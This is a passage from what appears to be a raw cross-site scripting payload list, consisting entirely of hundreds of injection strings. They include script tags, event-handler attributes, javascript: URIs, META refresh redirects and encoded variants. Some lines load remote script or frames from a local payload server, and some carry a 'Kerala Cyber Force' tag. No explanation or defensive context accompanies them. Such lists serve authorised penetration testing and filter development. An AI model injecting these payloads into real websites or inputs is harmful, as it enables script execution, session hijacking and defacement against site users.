(1)</script>\r\n'><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n\"></script><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n\"><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n'><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n'></script><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n\"><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n'><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n</script><script>alert(String.fromCharCode(75,67,70))</script>\r\n\"></script><script>alert(String.fromCharCode(75,67,70))</script>\r\n'></script><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n\"><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n'><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n?/><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n\"><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n'><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n?/><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n\"><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n'><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n?/><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n\"><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n'><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n?/><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n\"><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n'><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n</SCRIPT>?><SCRIPT>prompt(1)</SCRIPT>\r\n\"></SCRIPT>?><SCRIPT>prompt(1)</SCRIPT>\r\n'></SCRIPT>?><SCRIPT>prompt(1)</SCRIPT>\r\n</SCRIPT>?><SCRIPT>alert(String.fromCharCode(75,67,70))\r\n\"></SCRIPT>?><SCRIPT>alert(String.fromCharCode(75,67,70))\r\n'></SCRIPT>?><SCRIPT>alert(String.fromCharCode(75,67,70))\r\n</SCRIPT>?>?><SCRIPT>prompt(1)</SCRIPT>\r\n\"></SCRIPT>?>?><SCRIPT>prompt(1)</SCRIPT>\r\n'></SCRIPT>?>?><SCRIPT>prompt(1)</SCRIPT>\r\n</SCRIPT>?>?><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>\r\n\"></SCRIPT>?>?><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>\r\n'></SCRIPT>?>?><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>\r\n%27%3E%3C%73%63%72%69%70%74%3E%4B%43%46%3C%2F%73%63%72%69%70%74%3E\r\n%22%3E%3C%73%63%72%69%70%74%3E%4B%43%46%3C%2F%73%63%72%69%70%74%3E\r\n%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%34%42%25%34%33%25%34%36%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45\r\n%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%34%42%25%34%33%25%34%36%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45\r\n%25%32%35%25%33%32%25%33%32%25%32%35%25%33%33%25%34%35%25%32%35%25%33%33%25%34%33%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%34%25%32%35%25%33%33%25%34%35%25%32%35%25%33%34%25%34%32%25%32%35%25%33%34%25%33%33%25%32%35%25%33%34%25%33%36%25%32%35%25%33%33%25%34%33%25%32%35%25%33%32%25%34%36%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%34%25%32%35%25%33%33%25%34%35\r\n<h1>X</h1>\r\n\"><h1>X</h1>\r\n'><h1>X</h1>\r\n<marquee>Kerala Cyber Force</marquee>\r\n\"><marquee>Kerala Cyber Force</marquee>\r\n'><marquee>Kerala Cyber Force</marquee>\r\n<br><br><b><u>X</u></b>\r\n\"><br><br><b><u>X</u></b>\r\n'><br><br><b><u>X</u></b>\r\n<script>window.open( \"http://127.0.0.1:3555/xss_serve_payloads/X.html\" )</script>\r\n</ScrIpt><script>window.open( \"http://127.0.0.1:3555/xss_serve_payloads/X.html\" )</script>\r\n\"><script>window.open( \"http://127.0.0.1:3555/xss_serve_payloads/X.html\" )</script>\r\n</ScrIpt><script>window.open( \"http://127.0.0.1:3555/xss_serve_payloads/X.html\" )</script>\r\n'><script>window.open( \"http://127.0.0.1:3555/xss_serve_payloads/X.html\" )</script>\r\n</ScrIpt><script>window.open( \"http://127.0.0.1:3555/xss_serve_payloads/X.html\" )</script>\r\n<script>alert%281%29</script>\r\n</ScrIpt><script>alert%281%29</script>\r\n\"><script>alert%281%29</script>\r\n</ScrIpt><script>alert%281%29</script>\r\n'><script>alert%281%29</script>\r\n</ScrIpt><script>alert%281%29</script>\r\n<script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>/\r\n</ScrIpt><script>alert(1)</script>/\r\n\"><script>alert(1)</script>/\r\n</ScrIpt><script>alert(1)</script>/\r\n'><script>alert(1)</script>/\r\n</ScrIpt><script>alert(1)</script>/\r\n<script%20language=vbscript>msgbox%20X</script>\r\n\"><script%20language=vbscript>msgbox%20X</script>\r\n'><script%20language=vbscript>msgbox%20X</script>\r\n></title><script>alert(X)</script>'\"><marquee><h1>Kerala Cyber Force</h1></marquee>\r\n<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n</ScrIpt><SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n\"><SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n</ScrIpt><SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n'><SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n</ScrIpt><SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n</ScrIpt><SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n\"><SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n</ScrIpt><SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n'><SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n</ScrIpt><SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n?;!?<SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>=&{}\r\n!?<SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>=&{}\r\n<img src=\"blah\"onmouseover=\"alert(1);\">\r\n\"><img src=\"blah\"onmouseover=\"alert(1);\">\r\n'><img src=\"blah\"onmouseover=\"alert(1);\">\r\n<img src=\"blah>\" onmouseover=\"alert(1);\">\r\n\"><img src=\"blah>\" onmouseover=\"alert(1);\">\r\n'><img src=\"blah>\" onmouseover=\"alert(1);\">\r\n<IMG SRC=\"javascript:alert(1);\"\r\n\"><IMG SRC=\"javascript:alert(1);\"\r\n'><IMG SRC=\"javascript:alert(1);\">\r\n\"><IMG SRC=\"javascript:alert(1);\"\r\n\"><IMG SRC=\"javascript:alert(1);\"\r\n'><IMG SRC=\"javascript:alert(1);\">\r\n'><IMG SRC=\"javascript:alert(1);\"\r\n\"><IMG SRC=\"javascript:alert(1);\"\r\n'><IMG SRC=\"javascript:alert(1);\">\r\n<IMG SRC=\"javascript:alert(1);\"\r\n\"><IMG SRC=\"javascript:alert(1);\"\r\n'><IMG SRC=\"javascript:alert(1);\"\r\n<IMG SRC=javascript:alert(1)>\r\n\"><IMG SRC=javascript:alert(1)>\r\n'><IMG SRC=javascript:alert(1)>\r\n<IMG SRC=JaVaScRiPt:alert(1)>\r\n\"><IMG SRC=JaVaScRiPt:alert(1)>\r\n'><IMG SRC=JaVaScRiPt:alert(1)>\r\n</TITLE><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n\"><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n'><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n\"></TITLE><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n\"><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n'><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n'></TITLE><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n\"><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n'><SCRIPT>alert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>alert(1);</SCRIPT>\r\n<IMG SRC=javascript:alert(&quot;X&quot;)>\r\n\"><IMG SRC=javascript:alert(&quot;X&quot;)>\r\n'><IMG SRC=javascript:alert(&quot;X&quot;)>\r\n<IMG SRC=`javascript:alert(\"Kerala Cyber Force, 'X'\")`>\r\n\"><IMG SRC=`javascript:alert(\"Kerala Cyber Force, 'X'\")`>\r\n'><IMG SRC=`javascript:alert(\"Kerala Cyber Force, 'X'\")`>\r\n<IMG \"\"\"><SCRIPT>alert(1)</SCRIPT>\">\r\n\"><IMG \"\"\"><SCRIPT>alert(1)</SCRIPT>\">\r\n'><IMG \"\"\"><SCRIPT>alert(1)</SCRIPT>\">\r\n<img/src=\"1\"/onerror=\"alert(1)\"\r\n\"><img/src=\"1\"/onerror=\"alert(1)\"\r\n'><img/src=\"1\"/onerror=\"alert(1)\"\r\nSCRIPT>\">'><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>\r\n<IMG SRC=javascript:alert(String.fromCharCode(75,67,70))>\r\n\"><IMG SRC=javascript:alert(String.fromCharCode(75,67,70))>\r\n'><IMG SRC=javascript:alert(String.fromCharCode(75,67,70))>\r\n<IMG SRC=\"jav\tascript:alert(1);\">\r\n\"><IMG SRC=\"jav\tascript:alert(1);\">\r\n'><IMG SRC=\"jav\tascript:alert(1);\">\r\n<IMG SRC=\"jav&#x09;ascript:alert(1);\">\r\n\"><IMG SRC=\"jav&#x09;ascript:alert(1);\">\r\n'><IMG SRC=\"jav&#x09;ascript:alert(1);\">\r\n<IMG SRC=\"jav&#x0A;ascript:alert(1);\">\r\n\"><IMG SRC=\"jav&#x0A;ascript:alert(1);\">\r\n'><IMG SRC=\"jav&#x0A;ascript:alert(1);\">\r\n<IMG SRC=\"jav&#x0D;ascript:alert(1);\">\r\n\"><IMG SRC=\"jav&#x0D;ascript:alert(1);\">\r\n'><IMG SRC=\"jav&#x0D;ascript:alert(1);\">\r\n<IMG SRC=\" &#14;  javascript:alert(1);\">\r\n\"><IMG SRC=\" &#14;  javascript:alert(1);\">\r\n'><IMG SRC=\" &#14;  javascript:alert(1);\">\r\n<script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n\"><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n'><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(1)>\r\n\"><BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(1)>\r\n'><BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(1)>\r\n<body onload=\"alert(1);\">\r\n\"><body onload=\"alert(1);\">\r\n'><body onload=\"alert(1);\">\r\n<body onload=\"alert(1)\">\r\n\"><body onload=\"alert(1)\">\r\n'><body onload=\"alert(1)\">\r\n<img src=\"javascript:alert(1)\">\r\n\"><img src=\"javascript:alert(1)\">\r\n'><img src=\"javascript:alert(1)\">\r\n<p style=\"background:url('javascript:alert(1)')\">\r\n\"><p style=\"background:url('javascript:alert(1)')\">\r\n'><p style=\"background:url('javascript:alert(1)')\">\r\n' style=abc:expression(X) ' \\\" style=abc:expression(X) \\\"\r\n\" type=image src=null onerror=X \" \\' type=image src=null onerror=X \\'\r\nonload='X' \\\" onload=\\\"X\\\"/onload=\\\"X\\\"/onload='X'/\r\n\\'\\\"<\\/script><\\/xml><\\/title><\\/textarea><\\/noscript><\\/style><\\/listing><\\/xmp><\\/pre><img src=null onerror=X>\r\n<<scr\\0ipt/src=http://127.0.0.1:3555/xss_serve_payloads/X.js></script\r\n\"><<scr\\0ipt/src=http://127.0.0.1:3555/xss_serve_payloads/X.js></script\r\n'><<scr\\0ipt/src=http://127.0.0.1:3555/xss_serve_payloads/X.js></script\r\n<<scr\\0ipt/src=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp></script\r\n\"><<scr\\0ipt/src=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp></script\r\n'><<scr\\0ipt/src=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp></script\r\n<img src=\"x:gif\" onerror=\"window['al\\u0065rt'](1)\"></img>\r\n\"><img src=\"x:gif\" onerror=\"window['al\\u0065rt'](1)\"></img>\r\n'><img src=\"x:gif\" onerror=\"window['al\\u0065rt'](1)\"></img>\r\n<img src=\"x:gif\" onerror=\"eval('al'%2b'lert(1)')\">\r\n\"><img src=\"x:gif\" onerror=\"eval('al'%2b'lert(1)')\">\r\n'><img src=\"x:gif\" onerror=\"eval('al'%2b'lert(1)')\">\r\n<img src=\"x:alert\" onerror=\"eval(src%2b'(1)')\">\r\n\"><img src=\"x:alert\" onerror=\"eval(src%2b'(1)')\">\r\n'><img src=\"x:alert\" onerror=\"eval(src%2b'(1)')\">\r\n<img/src=\"mars.png\"alt=\"mars\">\r\n\"><img/src=\"mars.png\"alt=\"mars\">\r\n'><img/src=\"mars.png\"alt=\"mars\">\r\n<object data=\"javascript:alert(1)\">\r\n\"><object data=\"javascript:alert(1)\">\r\n'><object data=\"javascript:alert(1)\">\r\n<isindex type=image src=1 onerror=alert(1)>\r\n\"><isindex type=image src=1 onerror=alert(1)>\r\n'><isindex type=image src=1 onerror=alert(1)>\r\n<isindex action=javascript:alert(1) type=image>\r\n\"><isindex action=javascript:alert(1) type=image>\r\n'><isindex action=javascript:alert(1) type=image>\r\n<img src=x:alert(alt) onerror=eval(src) alt=0>\r\n\"><img src=x:alert(alt) onerror=eval(src) alt=0>\r\n'><img src=x:alert(alt) onerror=eval(src) alt=0>\r\n<x:script xmlns:x=\"http://www.w3.org/1999/xhtml\">alert(1);</x:script>\r\n\"><x:script xmlns:x=\"http://www.w3.org/1999/xhtml\">alert(1);</x:script>\r\n'><x:script xmlns:x=\"http://www.w3.org/1999/xhtml\">alert(1);</x:script>\r\n<img src=foo.png onerror=%61%6C%65%72%74%28%2F%4B%43%46%2F%29/>\r\n\"><img src=foo.png onerror=%61%6C%65%72%74%28%2F%4B%43%46%2F%29/>\r\n'><img src=foo.png onerror=%61%6C%65%72%74%28%2F%4B%43%46%2F%29/>\r\n\";location='javascript:alert(1)';\r\n\";location=location.hash)//#0={};alert(1)\r\n\";eval(unescape(location))//#%0Aalert(1)\r\n<b/alt=\"1\"onmouseover=InputBox+1language=vbs>X</b>\r\n\"><b/alt=\"1\"onmouseover=InputBox+1language=vbs>X</b>\r\n'><b/alt=\"1\"onmouseover=InputBox+1language=vbs>X</b>\r\n<b \"<script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\">X</b>\r\n</a onmousemove=\"alert(1)\">\r\n\"></a onmousemove=\"alert(1)\">\r\n'></a onmousemove=\"alert(1)\">\r\ndata:text/html,<script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n<img src=\"x:?\" title=\"onerror=alert(1)//\">\r\n\"><img src=\"x:?\" title=\"onerror=alert(1)//\">\r\n'><img src=\"x:?\" title=\"onerror=alert(1)//\">\r\n<img src=\"x:? title=\" onerror=alert(1)//\">\r\n\"><img src=\"x:? title=\" onerror=alert(1)//\">\r\n'><img src=\"x:? title=\" onerror=alert(1)//\">\r\n?script?alert(?X?)?/script?\r\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert(1);\">\r\n\"><META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert(1);\">\r\n'><META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert(1);\">\r\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n\"><META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n'><META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert(1);\">\r\n\"><META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert(1);\">\r\n'><META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert(1);\">\r\n<DIV STYLE=\"background-image: url(javascript:alert(1))\">\r\n\"><DIV STYLE=\"background-image: url(javascript:alert(1))\">\r\n'><DIV STYLE=\"background-image: url(javascript:alert(1))\">\r\n<div style=\"background-image: url(javascript:alert(1););\">\r\n\"><div style=\"background-image: url(javascript:alert(1););\">\r\n'><div style=\"background-image: url(javascript:alert(1););\">\r\n<DIV STYLE=\"background-image: url(&#1;javascript:alert(1))\">\r\n\"><DIV STYLE=\"background-image: url(&#1;javascript:alert(1))\">\r\n'><DIV STYLE=\"background-image: url(&#1;javascript:alert(1))\">\r\n<div style=\"behaviour: url(http://127.0.0.1:3555/xss_serve_payloads/X.html);\">\r\n\"><div style=\"behaviour: url(http://127.0.0.1:3555/xss_serve_payloads/X.html);\">\r\n'><div style=\"behaviour: url(http://127.0.0.1:3555/xss_serve_payloads/X.html);\">\r\n<div style=\"binding: url(http://127.0.0.1:3555/xss_serve_payloads/X.html));\">\r\n\"><div style=\"binding: url(http://127.0.0.1:3555/xss_serve_payloads/X.html));\">\r\n'><div style=\"binding: url(http://127.0.0.1:3555/xss_serve_payloads/X.html));\">\r\n<div style=\"behaviour: url('http://127.0.0.1:3555/xss_serve_payloads/X.html');\">\r\n\"><div style=\"behaviour: url('http://127.0.0.1:3555/xss_serve_payloads/X.html');\">\r\n'><div style=\"behaviour: url('http://127.0.0.1:3555/xss_serve_payloads/X.html');\">\r\n<div style=\"binding: url(\"http://127.0.0.1:3555/xss_serve_payloads/X.html\"));\">\r\n\"><div style=\"binding: url(\"http://127.0.0.1:3555/xss_serve_payloads/X.html\"));\">\r\n'><div style=\"binding: url(\"http://127.0.0.1:3555/xss_serve_payloads/X.html\"));\">\r\n<SCRIPT <B>alert(1);</SCRIPT>\r\n\"><SCRIPT <B>alert(1);</SCRIPT>\r\n'><SCRIPT <B>alert(1);</SCRIPT>\r\n<<SCRIPT>alert(1);/\r\n\"><<SCRIPT>alert(1);/\r\n'><<SCRIPT>alert(1);//<</SCRIPT>\r\n\"><<SCRIPT>alert(1);//<</SCRIPT>\r\n'><<SCRIPT>alert(1);//<</SCRIPT>\r\n<<script>alert(1);</script>\r\n\"><<script>alert(1);</script>\r\n'><<script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\r\n\"><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\r\n'><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\r\n<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert(1);\">\r\n\"><INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert(1);\">\r\n'><INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert(1);\">\r\n<IMG SRC=\"javascript:alert(1)\"\r\n\"><IMG SRC=\"javascript:alert(1)\"\r\n'><IMG SRC=\"javascript:alert(1)\"\r\n<iframe src=http://127.0.0.1:3555/xss_serve_payloads/X.html <\r\n\"><iframe src=http://127.0.0.1:3555/xss_serve_payloads/X.html <\r\n'><iframe src=http://127.0.0.1:3555/xss_serve_payloads/X.html <\r\n<SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\r\n\"><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\r\n'><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/alert(a.source)</SCRIPT>\r\n</ScrIpt><SCRIPT>a=/X/alert(a.source)</SCRIPT>\r\n\"><SCRIPT>a=/X/alert(a.source)</SCRIPT>\r\n</ScrIpt><SCRIPT>a=/X/alert(a.source)</SCRIPT>\r\n'><SCRIPT>a=/X/alert(a.source)</SCRIPT>\r\n</ScrIpt><SCRIPT>a=/X/alert(a.source)</SCRIPT>\r\n\\\";alert(1);//\r\n<input onfocus=javascript:alert(1) autofocus>\r\n\"><input onfocus=javascript:alert(1) autofocus>\r\n'><input onfocus=javascript:alert(1) autofocus>\r\n<select onfocus=javascript:alert(1) autofocus>\r\n\"><select onfocus=javascript:alert(1) autofocus>\r\n'><select onfocus=javascript:alert(1) autofocus>\r\n<textarea onfocus=javascript:alert(1) autofocus>\r\n\"><textarea onfocus=javascript:alert(1) autofocus>\r\n'><textarea onfocus=javascript:alert(1) autofocus>\r\n<keygen onfocus=javascript:alert(1) autofocus>\r\n\"><keygen onfocus=javascript:alert(1) autofocus>\r\n'><keygen onfocus=javascript:alert(1) autofocus>\r\n<input autofocus onfocus=alert(1)>\r\n\"><input autofocus onfocus=alert(1)>\r\n'><input autofocus onfocus=alert(1)>\r\n<iframe/ /onload=alert(1)></iframe>\r\n\"><iframe/ /onload=alert(1)></iframe>\r\n'><iframe/ /onload=alert(1)></iframe>\r\n<iframe/ \"onload=alert(1)></iframe>\r\n\"><iframe/ \"onload=alert(1)></iframe>\r\n'><iframe/ \"onload=alert(1)></iframe>\r\n<iframe///////onload=alert(1)></iframe>\r\n\"><iframe///////onload=alert(1)></iframe>\r\n'><iframe///////onload=alert(1)></iframe>\r\n<iframe \"onload=alert(1)></iframe>\r\n\"><iframe \"onload=alert(1)></iframe>\r\n'><iframe \"onload=alert(1)></iframe>\r\n<iframe<?php echo chr(11)?> onload=alert(1)></iframe>\r\n\"><iframe<?php echo chr(11)?> onload=alert(1)></iframe>\r\n'><iframe<?php echo chr(11)?> onload=alert(1)></iframe>\r\n<iframe<?php echo chr(12)?> onload=alert(1)></iframe>\r\n\"><iframe<?php echo chr(12)?> onload=alert(1)></iframe>\r\n'><iframe<?php echo chr(12)?> onload=alert(1)></iframe>\r\n<ScRIPT x src=//0x.lv?</style></script><script>alert(String.fromCharCode(75,67,70))</script>\r\n\"></script><script>alert(String.fromCharCode(75,67,70))</script>\r\n'></script><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n\"><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n'><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script><script src=http://127.0.0.1:3555/xss_serve_payloads/X.js>\r\n<ScRIPT x src=//0x.lv?</style></script><script>alert(String.fromCharCode(75,67,70))</script>\r\n\"></script><script>alert(String.fromCharCode(75,67,70))</script>\r\n'></script><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n\"><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script>\r\n'><script>alert(String.fromCharCode(75,67,70))</script>\r\n</ScrIpt><script>alert(String.fromCharCode(75,67,70))</script><script src=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp>\r\n</script><script>alert(X\r\n\"></script><script>alert(X\r\n'></script><script>alert(X\r\n%7D%3C/style%3E43%27%22%3E%3C/title%3E%3Cscript%3Ea=eval;b=alert;a(b(/X/.source));%3C/script%3E%27%22%3E%3Cmarquee%3E%3Ch1%3EX%3C/h1%3E%3C/marquee%3E\r\n&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#75;&#67;&#70;&#34;&#41;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;\r\n<FRAMESET><FRAME SRC=\"javascript:alert(1);\"></FRAMESET>\r\n\"><FRAMESET><FRAME SRC=\"javascript:alert(1);\"></FRAMESET>\r\n'><FRAMESET><FRAME SRC=\"javascript:alert(1);\"></FRAMESET>\r\n')alert(1);\r\n\");alert(1);\r\n?;alert(?X?);?\r\n?;alert(String.fromCharCode(75,67,70));?\r\n?;alert(?X?);?\r\n?;alert(String.fromCharCode(75,67,70));?\r\n?;alert(?X?)\r\n?;alert(String.fromCharCode(75,67,70))\r\n?;alert(?X?)\r\n?;alert(String.fromCharCode(75,67,70))\r\n<script>var var = 1; alert(var)</script>\r\n</ScrIpt><script>var var = 1; alert(var)</script>\r\n\"><script>var var = 1; alert(var)</script>\r\n</ScrIpt><script>var var = 1; alert(var)</script>\r\n'><script>var var = 1; alert(var)</script>\r\n</ScrIpt><script>var var = 1; alert(var)</script>\r\n<script type=text/javascript>alert(1)</script>\r\n\"><script type=text/javascript>alert(1)</script>\r\n'><script type=text/javascript>alert(1)</script>\r\n?><script >alert(1)</script>\r\n<iframe src=\"http://127.0.0.1:3555/xss_serve_payloads/X.html\" width=\"800\" height=\"800\">iframe</iframe>\r\n\"><iframe src=\"http://127.0.0.1:3555/xss_serve_payloads/X.html\" width=\"800\" height=\"800\">iframe</iframe>\r\n'><iframe src=\"http://127.0.0.1:3555/xss_serve_payloads/X.html\" width=\"800\" height=\"800\">iframe</iframe>\r\n<IMG SRC=`javascript:alert(?X says, ?X??)`>\r\n\"><IMG SRC=`javascript:alert(?X says, ?X??)`>\r\n'><IMG SRC=`javascript:alert(?X says, ?X??)`>\r\n<img src = ?http://127.0.0.1:3555/xss_serve_payloads/X.js?>\r\n\"><img src = ?http://127.0.0.1:3555/xss_serve_payloads/X.js?>\r\n'><img src = ?http://127.0.0.1:3555/xss_serve_payloads/X.js?>\r\n<img src = ?http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp?>\r\n\"><img src = ?http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp?>\r\n'><img src = ?http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp?>\r\n<A HREF=\"//127.0.0.1:3555/xss_serve_payloads/X.html\">X</A>\r\n\"><A HREF=\"//127.0.0.1:3555/xss_serve_payloads/X.html\">X</A>\r\n'><A HREF=\"//127.0.0.1:3555/xss_serve_payloads/X.html\">X</A>\r\n<A HREF=\"http://127.0.0.1:3555/xss_serve_payloads/X.html./\">X</A>\r\n\"><A HREF=\"http://127.0.0.1:3555/xss_serve_payloads/X.html./\">X</A>\r\n'><A 